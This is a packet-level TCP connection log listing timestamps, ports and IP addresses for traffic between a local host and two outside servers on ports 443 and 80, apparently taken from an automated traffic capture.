Apr 24, 2024 17:47:06.489753962 CEST	49740	443	192.168.2.4	95.217.9.149
Apr 24, 2024 17:47:06.489763975 CEST	443	49740	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:06.489773035 CEST	443	49740	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:06.489872932 CEST	49740	443	192.168.2.4	95.217.9.149
Apr 24, 2024 17:47:06.490514040 CEST	49740	443	192.168.2.4	95.217.9.149
Apr 24, 2024 17:47:06.490526915 CEST	443	49740	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:06.553107977 CEST	49741	443	192.168.2.4	95.217.9.149
Apr 24, 2024 17:47:06.553196907 CEST	443	49741	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:06.553283930 CEST	49741	443	192.168.2.4	95.217.9.149
Apr 24, 2024 17:47:06.553858995 CEST	49741	443	192.168.2.4	95.217.9.149
Apr 24, 2024 17:47:06.553894043 CEST	443	49741	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:07.208678007 CEST	443	49741	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:07.208815098 CEST	49741	443	192.168.2.4	95.217.9.149
Apr 24, 2024 17:47:07.266290903 CEST	49741	443	192.168.2.4	95.217.9.149
Apr 24, 2024 17:47:07.266321898 CEST	443	49741	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:07.267874956 CEST	49741	443	192.168.2.4	95.217.9.149
Apr 24, 2024 17:47:07.267887115 CEST	443	49741	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:08.105928898 CEST	80	49736	211.119.84.111	192.168.2.4
Apr 24, 2024 17:47:08.105973959 CEST	80	49736	211.119.84.111	192.168.2.4
Apr 24, 2024 17:47:08.105995893 CEST	80	49736	211.119.84.111	192.168.2.4
Apr 24, 2024 17:47:08.106019020 CEST	80	49736	211.119.84.111	192.168.2.4
Apr 24, 2024 17:47:08.106322050 CEST	49736	80	192.168.2.4	211.119.84.111
Apr 24, 2024 17:47:08.267939091 CEST	443	49741	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:08.267995119 CEST	443	49741	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:08.268033028 CEST	49741	443	192.168.2.4	95.217.9.149
Apr 24, 2024 17:47:08.268059015 CEST	443	49741	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:08.268098116 CEST	49741	443	192.168.2.4	95.217.9.149
Apr 24, 2024 17:47:08.268119097 CEST	49741	443	192.168.2.4	95.217.9.149
Apr 24, 2024 17:47:08.268183947 CEST	443	49741	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:08.268241882 CEST	49741	443	192.168.2.4	95.217.9.149
Apr 24, 2024 17:47:08.401845932 CEST	80	49736	211.119.84.111	192.168.2.4
Apr 24, 2024 17:47:08.401885986 CEST	80	49736	211.119.84.111	192.168.2.4
Apr 24, 2024 17:47:08.401909113 CEST	80	49736	211.119.84.111	192.168.2.4
Apr 24, 2024 17:47:08.401918888 CEST	49736	80	192.168.2.4	211.119.84.111
Apr 24, 2024 17:47:08.401931047 CEST	80	49736	211.119.84.111	192.168.2.4
Apr 24, 2024 17:47:08.401935101 CEST	49736	80	192.168.2.4	211.119.84.111
Apr 24, 2024 17:47:08.401953936 CEST	49736	80	192.168.2.4	211.119.84.111
Apr 24, 2024 17:47:08.401958942 CEST	80	49736	211.119.84.111	192.168.2.4
Apr 24, 2024 17:47:08.401966095 CEST	49736	80	192.168.2.4	211.119.84.111
Apr 24, 2024 17:47:08.401989937 CEST	80	49736	211.119.84.111	192.168.2.4
Apr 24, 2024 17:47:08.401995897 CEST	49736	80	192.168.2.4	211.119.84.111
Apr 24, 2024 17:47:08.402017117 CEST	80	49736	211.119.84.111	192.168.2.4
Apr 24, 2024 17:47:08.402025938 CEST	49736	80	192.168.2.4	211.119.84.111
Apr 24, 2024 17:47:08.402039051 CEST	80	49736	211.119.84.111	192.168.2.4
Apr 24, 2024 17:47:08.402051926 CEST	49736	80	192.168.2.4	211.119.84.111
Apr 24, 2024 17:47:08.402074099 CEST	49736	80	192.168.2.4	211.119.84.111
Apr 24, 2024 17:47:08.698901892 CEST	80	49736	211.119.84.111	192.168.2.4
Apr 24, 2024 17:47:08.699001074 CEST	49736	80	192.168.2.4	211.119.84.111
Apr 24, 2024 17:47:08.699016094 CEST	80	49736	211.119.84.111	192.168.2.4
Apr 24, 2024 17:47:08.699033022 CEST	80	49736	211.119.84.111	192.168.2.4
Apr 24, 2024 17:47:08.699044943 CEST	80	49736	211.119.84.111	192.168.2.4
Apr 24, 2024 17:47:08.699094057 CEST	80	49736	211.119.84.111	192.168.2.4
Apr 24, 2024 17:47:08.699124098 CEST	80	49736	211.119.84.111	192.168.2.4
Apr 24, 2024 17:47:08.699178934 CEST	49736	80	192.168.2.4	211.119.84.111
Apr 24, 2024 17:47:08.699204922 CEST	80	49736	211.119.84.111	192.168.2.4
Apr 24, 2024 17:47:08.699217081 CEST	49736	80	192.168.2.4	211.119.84.111
Apr 24, 2024 17:47:08.699246883 CEST	49736	80	192.168.2.4	211.119.84.111
Apr 24, 2024 17:47:08.699301004 CEST	80	49736	211.119.84.111	192.168.2.4
Apr 24, 2024 17:47:08.699332952 CEST	80	49736	211.119.84.111	192.168.2.4
Apr 24, 2024 17:47:08.699345112 CEST	49736	80	192.168.2.4	211.119.84.111
Apr 24, 2024 17:47:08.699369907 CEST	49736	80	192.168.2.4	211.119.84.111
Apr 24, 2024 17:47:08.699372053 CEST	80	49736	211.119.84.111	192.168.2.4
Apr 24, 2024 17:47:08.699409962 CEST	80	49736	211.119.84.111	192.168.2.4
Apr 24, 2024 17:47:08.699410915 CEST	49736	80	192.168.2.4	211.119.84.111
Apr 24, 2024 17:47:08.699450016 CEST	49736	80	192.168.2.4	211.119.84.111
Apr 24, 2024 17:47:08.699484110 CEST	80	49736	211.119.84.111	192.168.2.4
Apr 24, 2024 17:47:08.699522018 CEST	49736	80	192.168.2.4	211.119.84.111
Apr 24, 2024 17:47:08.699594975 CEST	80	49736	211.119.84.111	192.168.2.4
Apr 24, 2024 17:47:08.699639082 CEST	49736	80	192.168.2.4	211.119.84.111
Apr 24, 2024 17:47:08.699656963 CEST	80	49736	211.119.84.111	192.168.2.4
Apr 24, 2024 17:47:08.699676991 CEST	80	49736	211.119.84.111	192.168.2.4
Apr 24, 2024 17:47:08.699697971 CEST	49736	80	192.168.2.4	211.119.84.111
Apr 24, 2024 17:47:08.699714899 CEST	49736	80	192.168.2.4	211.119.84.111
Apr 24, 2024 17:47:08.995323896 CEST	80	49736	211.119.84.111	192.168.2.4
Apr 24, 2024 17:47:08.995362043 CEST	80	49736	211.119.84.111	192.168.2.4
Apr 24, 2024 17:47:08.995388031 CEST	80	49736	211.119.84.111	192.168.2.4
Apr 24, 2024 17:47:08.995403051 CEST	49736	80	192.168.2.4	211.119.84.111
Apr 24, 2024 17:47:08.995410919 CEST	80	49736	211.119.84.111	192.168.2.4
Apr 24, 2024 17:47:08.995431900 CEST	49736	80	192.168.2.4	211.119.84.111
Apr 24, 2024 17:47:08.995434046 CEST	80	49736	211.119.84.111	192.168.2.4
Apr 24, 2024 17:47:08.995460987 CEST	80	49736	211.119.84.111	192.168.2.4
Apr 24, 2024 17:47:08.995462894 CEST	49736	80	192.168.2.4	211.119.84.111
Apr 24, 2024 17:47:08.995488882 CEST	49736	80	192.168.2.4	211.119.84.111
Apr 24, 2024 17:47:08.995501995 CEST	49736	80	192.168.2.4	211.119.84.111
Apr 24, 2024 17:47:08.995543957 CEST	80	49736	211.119.84.111	192.168.2.4
Apr 24, 2024 17:47:08.995563984 CEST	80	49736	211.119.84.111	192.168.2.4
Apr 24, 2024 17:47:08.995584011 CEST	49736	80	192.168.2.4	211.119.84.111
Apr 24, 2024 17:47:08.995587111 CEST	80	49736	211.119.84.111	192.168.2.4
Apr 24, 2024 17:47:08.995608091 CEST	49736	80	192.168.2.4	211.119.84.111
Apr 24, 2024 17:47:08.995625973 CEST	49736	80	192.168.2.4	211.119.84.111
Apr 24, 2024 17:47:08.995655060 CEST	80	49736	211.119.84.111	192.168.2.4
Apr 24, 2024 17:47:08.995692015 CEST	80	49736	211.119.84.111	192.168.2.4
Apr 24, 2024 17:47:08.995692968 CEST	49736	80	192.168.2.4	211.119.84.111
Apr 24, 2024 17:47:08.995728016 CEST	80	49736	211.119.84.111	192.168.2.4
Apr 24, 2024 17:47:08.995728016 CEST	49736	80	192.168.2.4	211.119.84.111
Apr 24, 2024 17:47:08.995768070 CEST	49736	80	192.168.2.4	211.119.84.111
Apr 24, 2024 17:47:08.995801926 CEST	80	49736	211.119.84.111	192.168.2.4
Apr 24, 2024 17:47:08.995839119 CEST	49736	80	192.168.2.4	211.119.84.111
Apr 24, 2024 17:47:08.995887041 CEST	80	49736	211.119.84.111	192.168.2.4
Apr 24, 2024 17:47:08.995924950 CEST	49736	80	192.168.2.4	211.119.84.111
Apr 24, 2024 17:47:08.995946884 CEST	80	49736	211.119.84.111	192.168.2.4
Apr 24, 2024 17:47:08.995985031 CEST	49736	80	192.168.2.4	211.119.84.111
Apr 24, 2024 17:47:08.996026039 CEST	80	49736	211.119.84.111	192.168.2.4
Apr 24, 2024 17:47:08.996072054 CEST	49736	80	192.168.2.4	211.119.84.111
Apr 24, 2024 17:47:08.996135950 CEST	80	49736	211.119.84.111	192.168.2.4
Apr 24, 2024 17:47:08.996179104 CEST	49736	80	192.168.2.4	211.119.84.111
Apr 24, 2024 17:47:08.996205091 CEST	80	49736	211.119.84.111	192.168.2.4
Apr 24, 2024 17:47:08.996242046 CEST	49736	80	192.168.2.4	211.119.84.111
Apr 24, 2024 17:47:08.996282101 CEST	80	49736	211.119.84.111	192.168.2.4
Apr 24, 2024 17:47:08.996320009 CEST	49736	80	192.168.2.4	211.119.84.111
Apr 24, 2024 17:47:08.996372938 CEST	80	49736	211.119.84.111	192.168.2.4
Apr 24, 2024 17:47:08.996413946 CEST	49736	80	192.168.2.4	211.119.84.111
Apr 24, 2024 17:47:08.996433973 CEST	80	49736	211.119.84.111	192.168.2.4
Apr 24, 2024 17:47:08.996474028 CEST	49736	80	192.168.2.4	211.119.84.111
Apr 24, 2024 17:47:08.996475935 CEST	80	49736	211.119.84.111	192.168.2.4
Apr 24, 2024 17:47:08.996512890 CEST	49736	80	192.168.2.4	211.119.84.111
Apr 24, 2024 17:47:08.996551991 CEST	80	49736	211.119.84.111	192.168.2.4
Apr 24, 2024 17:47:08.996589899 CEST	49736	80	192.168.2.4	211.119.84.111
Apr 24, 2024 17:47:08.996629000 CEST	80	49736	211.119.84.111	192.168.2.4
Apr 24, 2024 17:47:08.996668100 CEST	80	49736	211.119.84.111	192.168.2.4
Apr 24, 2024 17:47:08.996669054 CEST	49736	80	192.168.2.4	211.119.84.111
Apr 24, 2024 17:47:08.996690989 CEST	80	49736	211.119.84.111	192.168.2.4
Apr 24, 2024 17:47:08.996705055 CEST	49736	80	192.168.2.4	211.119.84.111
Apr 24, 2024 17:47:08.996726990 CEST	49736	80	192.168.2.4	211.119.84.111
Apr 24, 2024 17:47:08.996773005 CEST	80	49736	211.119.84.111	192.168.2.4
Apr 24, 2024 17:47:08.996795893 CEST	80	49736	211.119.84.111	192.168.2.4
Apr 24, 2024 17:47:08.996815920 CEST	49736	80	192.168.2.4	211.119.84.111
Apr 24, 2024 17:47:08.996828079 CEST	49736	80	192.168.2.4	211.119.84.111
Apr 24, 2024 17:47:08.996891975 CEST	80	49736	211.119.84.111	192.168.2.4
Apr 24, 2024 17:47:08.996937990 CEST	49736	80	192.168.2.4	211.119.84.111
Apr 24, 2024 17:47:08.996944904 CEST	80	49736	211.119.84.111	192.168.2.4
Apr 24, 2024 17:47:08.996984005 CEST	49736	80	192.168.2.4	211.119.84.111
Apr 24, 2024 17:47:09.010797024 CEST	49741	443	192.168.2.4	95.217.9.149
Apr 24, 2024 17:47:09.010880947 CEST	443	49741	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:09.074137926 CEST	49742	443	192.168.2.4	95.217.9.149
Apr 24, 2024 17:47:09.074181080 CEST	443	49742	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:09.074244022 CEST	49742	443	192.168.2.4	95.217.9.149
Apr 24, 2024 17:47:09.075998068 CEST	49742	443	192.168.2.4	95.217.9.149
Apr 24, 2024 17:47:09.076015949 CEST	443	49742	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:09.291136026 CEST	80	49736	211.119.84.111	192.168.2.4
Apr 24, 2024 17:47:09.291177034 CEST	80	49736	211.119.84.111	192.168.2.4
Apr 24, 2024 17:47:09.291204929 CEST	49736	80	192.168.2.4	211.119.84.111
Apr 24, 2024 17:47:09.291218996 CEST	80	49736	211.119.84.111	192.168.2.4
Apr 24, 2024 17:47:09.291224957 CEST	49736	80	192.168.2.4	211.119.84.111
Apr 24, 2024 17:47:09.291255951 CEST	49736	80	192.168.2.4	211.119.84.111
Apr 24, 2024 17:47:09.291457891 CEST	80	49736	211.119.84.111	192.168.2.4
Apr 24, 2024 17:47:09.291512966 CEST	49736	80	192.168.2.4	211.119.84.111
Apr 24, 2024 17:47:09.291527987 CEST	80	49736	211.119.84.111	192.168.2.4
Apr 24, 2024 17:47:09.291567087 CEST	80	49736	211.119.84.111	192.168.2.4
Apr 24, 2024 17:47:09.291574001 CEST	49736	80	192.168.2.4	211.119.84.111
Apr 24, 2024 17:47:09.291611910 CEST	49736	80	192.168.2.4	211.119.84.111
Apr 24, 2024 17:47:09.291701078 CEST	80	49736	211.119.84.111	192.168.2.4
Apr 24, 2024 17:47:09.291745901 CEST	49736	80	192.168.2.4	211.119.84.111
Apr 24, 2024 17:47:09.291769981 CEST	80	49736	211.119.84.111	192.168.2.4
Apr 24, 2024 17:47:09.291793108 CEST	80	49736	211.119.84.111	192.168.2.4
Apr 24, 2024 17:47:09.291809082 CEST	49736	80	192.168.2.4	211.119.84.111
Apr 24, 2024 17:47:09.291831017 CEST	49736	80	192.168.2.4	211.119.84.111
Apr 24, 2024 17:47:09.291884899 CEST	80	49736	211.119.84.111	192.168.2.4
Apr 24, 2024 17:47:09.291909933 CEST	80	49736	211.119.84.111	192.168.2.4
Apr 24, 2024 17:47:09.291930914 CEST	49736	80	192.168.2.4	211.119.84.111
Apr 24, 2024 17:47:09.291945934 CEST	49736	80	192.168.2.4	211.119.84.111
Apr 24, 2024 17:47:09.291960001 CEST	80	49736	211.119.84.111	192.168.2.4
Apr 24, 2024 17:47:09.292001963 CEST	49736	80	192.168.2.4	211.119.84.111
Apr 24, 2024 17:47:09.292155981 CEST	80	49736	211.119.84.111	192.168.2.4
Apr 24, 2024 17:47:09.292200089 CEST	49736	80	192.168.2.4	211.119.84.111
Apr 24, 2024 17:47:09.292511940 CEST	80	49736	211.119.84.111	192.168.2.4
Apr 24, 2024 17:47:09.292556047 CEST	49736	80	192.168.2.4	211.119.84.111
Apr 24, 2024 17:47:09.292582989 CEST	80	49736	211.119.84.111	192.168.2.4
Apr 24, 2024 17:47:09.292620897 CEST	49736	80	192.168.2.4	211.119.84.111
Apr 24, 2024 17:47:09.292659998 CEST	80	49736	211.119.84.111	192.168.2.4
Apr 24, 2024 17:47:09.292705059 CEST	49736	80	192.168.2.4	211.119.84.111
Apr 24, 2024 17:47:09.293032885 CEST	80	49736	211.119.84.111	192.168.2.4
Apr 24, 2024 17:47:09.293057919 CEST	80	49736	211.119.84.111	192.168.2.4
Apr 24, 2024 17:47:09.293077946 CEST	49736	80	192.168.2.4	211.119.84.111
Apr 24, 2024 17:47:09.293080091 CEST	80	49736	211.119.84.111	192.168.2.4
Apr 24, 2024 17:47:09.293090105 CEST	49736	80	192.168.2.4	211.119.84.111
Apr 24, 2024 17:47:09.293102026 CEST	80	49736	211.119.84.111	192.168.2.4
Apr 24, 2024 17:47:09.293116093 CEST	49736	80	192.168.2.4	211.119.84.111
Apr 24, 2024 17:47:09.293128014 CEST	80	49736	211.119.84.111	192.168.2.4
Apr 24, 2024 17:47:09.293138027 CEST	49736	80	192.168.2.4	211.119.84.111
Apr 24, 2024 17:47:09.293148994 CEST	80	49736	211.119.84.111	192.168.2.4
Apr 24, 2024 17:47:09.293169022 CEST	49736	80	192.168.2.4	211.119.84.111
Apr 24, 2024 17:47:09.293171883 CEST	80	49736	211.119.84.111	192.168.2.4
Apr 24, 2024 17:47:09.293190956 CEST	49736	80	192.168.2.4	211.119.84.111
Apr 24, 2024 17:47:09.293194056 CEST	80	49736	211.119.84.111	192.168.2.4
Apr 24, 2024 17:47:09.293214083 CEST	49736	80	192.168.2.4	211.119.84.111
Apr 24, 2024 17:47:09.293216944 CEST	80	49736	211.119.84.111	192.168.2.4
Apr 24, 2024 17:47:09.293231964 CEST	49736	80	192.168.2.4	211.119.84.111
Apr 24, 2024 17:47:09.293239117 CEST	80	49736	211.119.84.111	192.168.2.4
Apr 24, 2024 17:47:09.293251038 CEST	49736	80	192.168.2.4	211.119.84.111
Apr 24, 2024 17:47:09.293261051 CEST	80	49736	211.119.84.111	192.168.2.4
Apr 24, 2024 17:47:09.293275118 CEST	49736	80	192.168.2.4	211.119.84.111
Apr 24, 2024 17:47:09.293298006 CEST	49736	80	192.168.2.4	211.119.84.111
Apr 24, 2024 17:47:09.293303013 CEST	80	49736	211.119.84.111	192.168.2.4
Apr 24, 2024 17:47:09.293339968 CEST	49736	80	192.168.2.4	211.119.84.111
Apr 24, 2024 17:47:09.293346882 CEST	80	49736	211.119.84.111	192.168.2.4
Apr 24, 2024 17:47:09.293387890 CEST	49736	80	192.168.2.4	211.119.84.111
Apr 24, 2024 17:47:09.293459892 CEST	80	49736	211.119.84.111	192.168.2.4
Apr 24, 2024 17:47:09.293507099 CEST	49736	80	192.168.2.4	211.119.84.111
Apr 24, 2024 17:47:09.293512106 CEST	80	49736	211.119.84.111	192.168.2.4
Apr 24, 2024 17:47:09.293549061 CEST	80	49736	211.119.84.111	192.168.2.4
Apr 24, 2024 17:47:09.293550014 CEST	49736	80	192.168.2.4	211.119.84.111
Apr 24, 2024 17:47:09.293585062 CEST	49736	80	192.168.2.4	211.119.84.111
Apr 24, 2024 17:47:09.293597937 CEST	80	49736	211.119.84.111	192.168.2.4
Apr 24, 2024 17:47:09.293639898 CEST	49736	80	192.168.2.4	211.119.84.111
Apr 24, 2024 17:47:09.294224977 CEST	80	49736	211.119.84.111	192.168.2.4
Apr 24, 2024 17:47:09.294250965 CEST	80	49736	211.119.84.111	192.168.2.4
Apr 24, 2024 17:47:09.294266939 CEST	80	49736	211.119.84.111	192.168.2.4
Apr 24, 2024 17:47:09.294280052 CEST	49736	80	192.168.2.4	211.119.84.111
Apr 24, 2024 17:47:09.294308901 CEST	80	49736	211.119.84.111	192.168.2.4
Apr 24, 2024 17:47:09.294326067 CEST	49736	80	192.168.2.4	211.119.84.111
Apr 24, 2024 17:47:09.294326067 CEST	49736	80	192.168.2.4	211.119.84.111
Apr 24, 2024 17:47:09.294358969 CEST	49736	80	192.168.2.4	211.119.84.111
Apr 24, 2024 17:47:09.294408083 CEST	80	49736	211.119.84.111	192.168.2.4
Apr 24, 2024 17:47:09.294445992 CEST	80	49736	211.119.84.111	192.168.2.4
Apr 24, 2024 17:47:09.294452906 CEST	49736	80	192.168.2.4	211.119.84.111
Apr 24, 2024 17:47:09.294483900 CEST	49736	80	192.168.2.4	211.119.84.111
Apr 24, 2024 17:47:09.294533968 CEST	80	49736	211.119.84.111	192.168.2.4
Apr 24, 2024 17:47:09.294579029 CEST	49736	80	192.168.2.4	211.119.84.111
Apr 24, 2024 17:47:09.294874907 CEST	80	49736	211.119.84.111	192.168.2.4
Apr 24, 2024 17:47:09.294934988 CEST	49736	80	192.168.2.4	211.119.84.111
Apr 24, 2024 17:47:09.294935942 CEST	80	49736	211.119.84.111	192.168.2.4
Apr 24, 2024 17:47:09.295025110 CEST	80	49736	211.119.84.111	192.168.2.4
Apr 24, 2024 17:47:09.295034885 CEST	49736	80	192.168.2.4	211.119.84.111
Apr 24, 2024 17:47:09.295066118 CEST	80	49736	211.119.84.111	192.168.2.4
Apr 24, 2024 17:47:09.295069933 CEST	49736	80	192.168.2.4	211.119.84.111
Apr 24, 2024 17:47:09.295104027 CEST	80	49736	211.119.84.111	192.168.2.4
Apr 24, 2024 17:47:09.295115948 CEST	49736	80	192.168.2.4	211.119.84.111
Apr 24, 2024 17:47:09.295146942 CEST	49736	80	192.168.2.4	211.119.84.111
Apr 24, 2024 17:47:09.295159101 CEST	80	49736	211.119.84.111	192.168.2.4
Apr 24, 2024 17:47:09.295202017 CEST	80	49736	211.119.84.111	192.168.2.4
Apr 24, 2024 17:47:09.295223951 CEST	49736	80	192.168.2.4	211.119.84.111
Apr 24, 2024 17:47:09.295242071 CEST	80	49736	211.119.84.111	192.168.2.4
Apr 24, 2024 17:47:09.295253038 CEST	49736	80	192.168.2.4	211.119.84.111
Apr 24, 2024 17:47:09.295279980 CEST	80	49736	211.119.84.111	192.168.2.4
Apr 24, 2024 17:47:09.295289040 CEST	49736	80	192.168.2.4	211.119.84.111
Apr 24, 2024 17:47:09.295316935 CEST	80	49736	211.119.84.111	192.168.2.4
Apr 24, 2024 17:47:09.295321941 CEST	49736	80	192.168.2.4	211.119.84.111
Apr 24, 2024 17:47:09.295355082 CEST	80	49736	211.119.84.111	192.168.2.4
Apr 24, 2024 17:47:09.295360088 CEST	49736	80	192.168.2.4	211.119.84.111
Apr 24, 2024 17:47:09.295392990 CEST	80	49736	211.119.84.111	192.168.2.4
Apr 24, 2024 17:47:09.295406103 CEST	49736	80	192.168.2.4	211.119.84.111
Apr 24, 2024 17:47:09.295430899 CEST	80	49736	211.119.84.111	192.168.2.4
Apr 24, 2024 17:47:09.295437098 CEST	49736	80	192.168.2.4	211.119.84.111
Apr 24, 2024 17:47:09.295469046 CEST	80	49736	211.119.84.111	192.168.2.4
Apr 24, 2024 17:47:09.295475006 CEST	49736	80	192.168.2.4	211.119.84.111
Apr 24, 2024 17:47:09.295506954 CEST	80	49736	211.119.84.111	192.168.2.4
Apr 24, 2024 17:47:09.295511961 CEST	49736	80	192.168.2.4	211.119.84.111
Apr 24, 2024 17:47:09.295546055 CEST	80	49736	211.119.84.111	192.168.2.4
Apr 24, 2024 17:47:09.295551062 CEST	49736	80	192.168.2.4	211.119.84.111
Apr 24, 2024 17:47:09.295591116 CEST	49736	80	192.168.2.4	211.119.84.111
Apr 24, 2024 17:47:09.295665026 CEST	80	49736	211.119.84.111	192.168.2.4
Apr 24, 2024 17:47:09.295703888 CEST	80	49736	211.119.84.111	192.168.2.4
Apr 24, 2024 17:47:09.295717955 CEST	49736	80	192.168.2.4	211.119.84.111
Apr 24, 2024 17:47:09.295747995 CEST	49736	80	192.168.2.4	211.119.84.111
Apr 24, 2024 17:47:09.295747995 CEST	80	49736	211.119.84.111	192.168.2.4
Apr 24, 2024 17:47:09.295798063 CEST	49736	80	192.168.2.4	211.119.84.111
Apr 24, 2024 17:47:09.295804024 CEST	80	49736	211.119.84.111	192.168.2.4
Apr 24, 2024 17:47:09.295857906 CEST	49736	80	192.168.2.4	211.119.84.111
Apr 24, 2024 17:47:09.586925030 CEST	80	49736	211.119.84.111	192.168.2.4
Apr 24, 2024 17:47:09.586978912 CEST	80	49736	211.119.84.111	192.168.2.4
Apr 24, 2024 17:47:09.586990118 CEST	49736	80	192.168.2.4	211.119.84.111
Apr 24, 2024 17:47:09.587018013 CEST	80	49736	211.119.84.111	192.168.2.4
Apr 24, 2024 17:47:09.587057114 CEST	49736	80	192.168.2.4	211.119.84.111
Apr 24, 2024 17:47:09.587110996 CEST	80	49736	211.119.84.111	192.168.2.4
Apr 24, 2024 17:47:09.587119102 CEST	49736	80	192.168.2.4	211.119.84.111
Apr 24, 2024 17:47:09.587151051 CEST	80	49736	211.119.84.111	192.168.2.4
Apr 24, 2024 17:47:09.587208033 CEST	49736	80	192.168.2.4	211.119.84.111
Apr 24, 2024 17:47:09.587208033 CEST	49736	80	192.168.2.4	211.119.84.111
Apr 24, 2024 17:47:09.587244034 CEST	80	49736	211.119.84.111	192.168.2.4
Apr 24, 2024 17:47:09.587302923 CEST	49736	80	192.168.2.4	211.119.84.111
Apr 24, 2024 17:47:09.587336063 CEST	80	49736	211.119.84.111	192.168.2.4
Apr 24, 2024 17:47:09.587378979 CEST	80	49736	211.119.84.111	192.168.2.4
Apr 24, 2024 17:47:09.587383032 CEST	49736	80	192.168.2.4	211.119.84.111
Apr 24, 2024 17:47:09.587435007 CEST	49736	80	192.168.2.4	211.119.84.111
Apr 24, 2024 17:47:09.587486982 CEST	80	49736	211.119.84.111	192.168.2.4
Apr 24, 2024 17:47:09.587537050 CEST	49736	80	192.168.2.4	211.119.84.111
Apr 24, 2024 17:47:09.587574959 CEST	80	49736	211.119.84.111	192.168.2.4
Apr 24, 2024 17:47:09.587613106 CEST	80	49736	211.119.84.111	192.168.2.4
Apr 24, 2024 17:47:09.587625027 CEST	49736	80	192.168.2.4	211.119.84.111
Apr 24, 2024 17:47:09.587661982 CEST	49736	80	192.168.2.4	211.119.84.111
Apr 24, 2024 17:47:09.587733984 CEST	80	49736	211.119.84.111	192.168.2.4
Apr 24, 2024 17:47:09.587795019 CEST	49736	80	192.168.2.4	211.119.84.111
Apr 24, 2024 17:47:09.587838888 CEST	80	49736	211.119.84.111	192.168.2.4
Apr 24, 2024 17:47:09.587889910 CEST	49736	80	192.168.2.4	211.119.84.111
Apr 24, 2024 17:47:09.587959051 CEST	80	49736	211.119.84.111	192.168.2.4
Apr 24, 2024 17:47:09.588009119 CEST	49736	80	192.168.2.4	211.119.84.111
Apr 24, 2024 17:47:09.588090897 CEST	80	49736	211.119.84.111	192.168.2.4
Apr 24, 2024 17:47:09.588145018 CEST	49736	80	192.168.2.4	211.119.84.111
Apr 24, 2024 17:47:09.588190079 CEST	80	49736	211.119.84.111	192.168.2.4
Apr 24, 2024 17:47:09.588241100 CEST	49736	80	192.168.2.4	211.119.84.111
Apr 24, 2024 17:47:09.588264942 CEST	80	49736	211.119.84.111	192.168.2.4
Apr 24, 2024 17:47:09.588315964 CEST	49736	80	192.168.2.4	211.119.84.111
Apr 24, 2024 17:47:09.588340044 CEST	80	49736	211.119.84.111	192.168.2.4
Apr 24, 2024 17:47:09.588391066 CEST	49736	80	192.168.2.4	211.119.84.111
Apr 24, 2024 17:47:09.588433027 CEST	80	49736	211.119.84.111	192.168.2.4
Apr 24, 2024 17:47:09.588485003 CEST	49736	80	192.168.2.4	211.119.84.111
Apr 24, 2024 17:47:09.588505030 CEST	80	49736	211.119.84.111	192.168.2.4
Apr 24, 2024 17:47:09.588555098 CEST	49736	80	192.168.2.4	211.119.84.111
Apr 24, 2024 17:47:09.588602066 CEST	80	49736	211.119.84.111	192.168.2.4
Apr 24, 2024 17:47:09.588648081 CEST	49736	80	192.168.2.4	211.119.84.111
Apr 24, 2024 17:47:09.588673115 CEST	80	49736	211.119.84.111	192.168.2.4
Apr 24, 2024 17:47:09.588722944 CEST	49736	80	192.168.2.4	211.119.84.111
Apr 24, 2024 17:47:09.588746071 CEST	80	49736	211.119.84.111	192.168.2.4
Apr 24, 2024 17:47:09.588795900 CEST	49736	80	192.168.2.4	211.119.84.111
Apr 24, 2024 17:47:09.588818073 CEST	80	49736	211.119.84.111	192.168.2.4
Apr 24, 2024 17:47:09.588865995 CEST	49736	80	192.168.2.4	211.119.84.111
Apr 24, 2024 17:47:09.588937998 CEST	80	49736	211.119.84.111	192.168.2.4
Apr 24, 2024 17:47:09.588985920 CEST	49736	80	192.168.2.4	211.119.84.111
Apr 24, 2024 17:47:09.589034081 CEST	80	49736	211.119.84.111	192.168.2.4
Apr 24, 2024 17:47:09.589086056 CEST	49736	80	192.168.2.4	211.119.84.111
Apr 24, 2024 17:47:09.589103937 CEST	80	49736	211.119.84.111	192.168.2.4
Apr 24, 2024 17:47:09.589142084 CEST	80	49736	211.119.84.111	192.168.2.4
Apr 24, 2024 17:47:09.589155912 CEST	49736	80	192.168.2.4	211.119.84.111
Apr 24, 2024 17:47:09.589180946 CEST	80	49736	211.119.84.111	192.168.2.4
Apr 24, 2024 17:47:09.589186907 CEST	49736	80	192.168.2.4	211.119.84.111
Apr 24, 2024 17:47:09.589226007 CEST	49736	80	192.168.2.4	211.119.84.111
Apr 24, 2024 17:47:09.589252949 CEST	80	49736	211.119.84.111	192.168.2.4
Apr 24, 2024 17:47:09.589292049 CEST	80	49736	211.119.84.111	192.168.2.4
Apr 24, 2024 17:47:09.589298964 CEST	49736	80	192.168.2.4	211.119.84.111
Apr 24, 2024 17:47:09.589330912 CEST	80	49736	211.119.84.111	192.168.2.4
Apr 24, 2024 17:47:09.589343071 CEST	49736	80	192.168.2.4	211.119.84.111
Apr 24, 2024 17:47:09.589370012 CEST	80	49736	211.119.84.111	192.168.2.4
Apr 24, 2024 17:47:09.589375973 CEST	49736	80	192.168.2.4	211.119.84.111
Apr 24, 2024 17:47:09.589418888 CEST	49736	80	192.168.2.4	211.119.84.111
Apr 24, 2024 17:47:09.589442015 CEST	80	49736	211.119.84.111	192.168.2.4
Apr 24, 2024 17:47:09.589479923 CEST	80	49736	211.119.84.111	192.168.2.4
Apr 24, 2024 17:47:09.589493990 CEST	49736	80	192.168.2.4	211.119.84.111
Apr 24, 2024 17:47:09.589518070 CEST	80	49736	211.119.84.111	192.168.2.4
Apr 24, 2024 17:47:09.589525938 CEST	49736	80	192.168.2.4	211.119.84.111
Apr 24, 2024 17:47:09.589561939 CEST	49736	80	192.168.2.4	211.119.84.111
Apr 24, 2024 17:47:09.589586973 CEST	80	49736	211.119.84.111	192.168.2.4
Apr 24, 2024 17:47:09.589626074 CEST	80	49736	211.119.84.111	192.168.2.4
